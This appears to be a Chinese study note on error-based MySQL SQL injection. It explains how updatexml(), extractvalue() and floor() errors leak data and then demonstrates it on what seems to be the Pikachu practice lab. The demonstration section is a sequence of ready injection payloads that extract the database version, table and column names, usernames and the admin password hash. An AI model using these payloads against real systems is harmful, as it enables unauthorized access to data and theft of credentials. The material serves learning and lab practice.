1、技巧思路:
在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取指定的信息
Select/insert/update/delete都可以使用报错来获取信息
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
2、三个常用的用来报错的函数
Updatexml():是mysql对XML文档数据进行查询和修改的XPATH函数
Extractvalue():也是mysql对XML文档数据进行查询的XPATH函数
Floor():mysql中用来取整的函数
- Updatexml():改变(查找并替换)XML文档中符合条件的节点的值
语法Updatexml(xml_document,XPathstring,new_value)
第一个参数:是string格式,为表中的字段名
第二个参数:XPathstring(Xpath格式的字符串)
第三个参数:string格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误
3、实验演示
首先需要确定该平台是否是用报错来返回信息
Kobe’ and updatexml(1,version(),0)#,中间的值也可以是表达式,那么就会先执行表达式的值,再返回到报错信息
进行改进:kobe’ and updatexml(1,concat(0x7e,version()),0)#,concat是将括号里面的数据进行连接
kobe’ and updatexml(1,concat(0x7e,database()),0)#
kobe’ and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_name=’pikachu’),0)#
获取表名:
第一个:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 0,1)),0)#
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’pikachu’ limit 1,1)),0)#
获取列名:
kobe’ and updatexml(1,concat(0x7e,(select column_name from
information_schema.columns where table_name=’users’ limit 0,1)),0)#
获取到列名称后,再来获取数据:
Kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
Kobe’ and updatexml(1,concat(0x7e,(select password from users where username=’admin’ limit 0,1)),0)#,获取到了加密的密文